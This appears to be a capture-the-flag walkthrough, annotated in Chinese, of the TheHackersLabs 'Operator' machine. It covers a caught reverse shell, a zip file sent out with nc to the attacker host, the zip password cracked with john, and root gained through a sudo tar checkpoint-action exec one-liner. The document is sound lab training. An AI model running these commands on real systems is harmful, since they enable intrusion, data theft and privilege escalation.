❯ penelope.py [+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.60.100 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from TheHackersLabs-Operator-192.168.60.155-Linux-x86_64 😍️ Assigned SessionID <1> [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 [+] Logging to /home/Pepster/.penelope/TheHackersLabs-Operator~192.168.60.155_Linux_x86_64/2025_08_24-14_16_31-000.log 📜 ─────────────────────────────────────────────────────────────────────────── www-data@TheHackersLabs-Operator:/$
在/home目录中存在提示
1 2 3 4 5 6 7 8 9 10 11
www-data@TheHackersLabs-Operator:/home$ cat Readme.txt He guardado mi archivo zip más importante en un lugar secreto. 我已将我最重要的zip文件保存在一个秘密的地方。 www-data@TheHackersLabs-Operator:/home$ ls -al total 16 drwxr-xr-x 3 root root 4096 Aug 19 21:49 . drwxr-xr-x 23 root root 4096 Aug 7 02:36 .. -rw-r--r-- 1 root root 66 Aug 19 21:49 Readme.txt drwxr-x--- 5 operatorx operatorx 4096 Aug 8 17:43 operatorx www-data@TheHackersLabs-Operator:/home$ find / -name *.zip 2>/dev/null /srv/secret/File.zip
将zip文件下载到本地
1 2 3 4 5
www-data@TheHackersLabs-Operator:/home$ nc 192.168.60.100 1234 < /srv/secret/File.zip --------------------- ❯ nc -lvp 1234 > file.zip listening on [any] 1234 ... connect to [192.168.60.100] from shieldweb.che [192.168.60.155] 51354
Scanning the drive for archives: 1 file, 430 bytes (1 KiB)
Extracting archive: file.zip -- Path = file.zip Type = zip Physical Size = 430
Enter password (will not be echoed): ERROR: Wrong password : Credentials/Credentials.txt
Sub items Errors: 1
Archives with Errors: 1
Sub items Errors: 1 ❯ zip2john file.zip >hash ver 2.0 file.zip/Credentials/ is not encrypted, or stored with non-handled compression type ❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x]) Cost 1 (HMAC size) is 64 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 121288 (file.zip/Credentials/Credentials.txt) 1g 0:00:00:00 DONE (2025-08-24 14:50) 7.692g/s 126030p/s 126030c/s 126030C/s 123456..cocoliso Use the "--show" option to display all of the cracked passwords reliably Session completed.
Scanning the drive for archives: 1 file, 430 bytes (1 KiB)
Extracting archive: file.zip -- Path = file.zip Type = zip Physical Size = 430
Would you like to replace the existing file: Path: ./Credentials/Credentials.txt Size: 0 bytes Modified: 2025-08-19 06:28:04 with the file from archive: Path: Credentials/Credentials.txt Size: 67 bytes (1 KiB) Modified: 2025-08-19 06:28:04 ? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? y
Enter password (will not be echoed): Everything is Ok
www-data@TheHackersLabs-Operator:/home$ su operatorx Password:
su: Authentication failure www-data@TheHackersLabs-Operator:/home$ su operatorx Password: operatorx@TheHackersLabs-Operator:/home$ cd ~ operatorx@TheHackersLabs-Operator:~$ cat user.txt 4a8b1c3d9e2f7a6b5c8d3e1f2a7b6c9d
Root提权
用户存在sudo权限，直接Gtfobins命令提权了
1 2 3 4 5 6 7 8 9 10 11 12 13 14
operatorx@TheHackersLabs-Operator:~$ sudo -l Matching Defaults entries for operatorx on TheHackersLabs-Operator: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User operatorx may run the following commands on TheHackersLabs-Operator: (ALL) NOPASSWD: /usr/bin/tar operatorx@TheHackersLabs-Operator:~$ sudo /usr/bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh /usr/bin/tar: Removing leading `/' from member names # id uid=0(root) gid=0(root) groups=0(root) # cat /root/root.txt e1f9c2e8a1d8477f9b3f6cd298f9f3bd
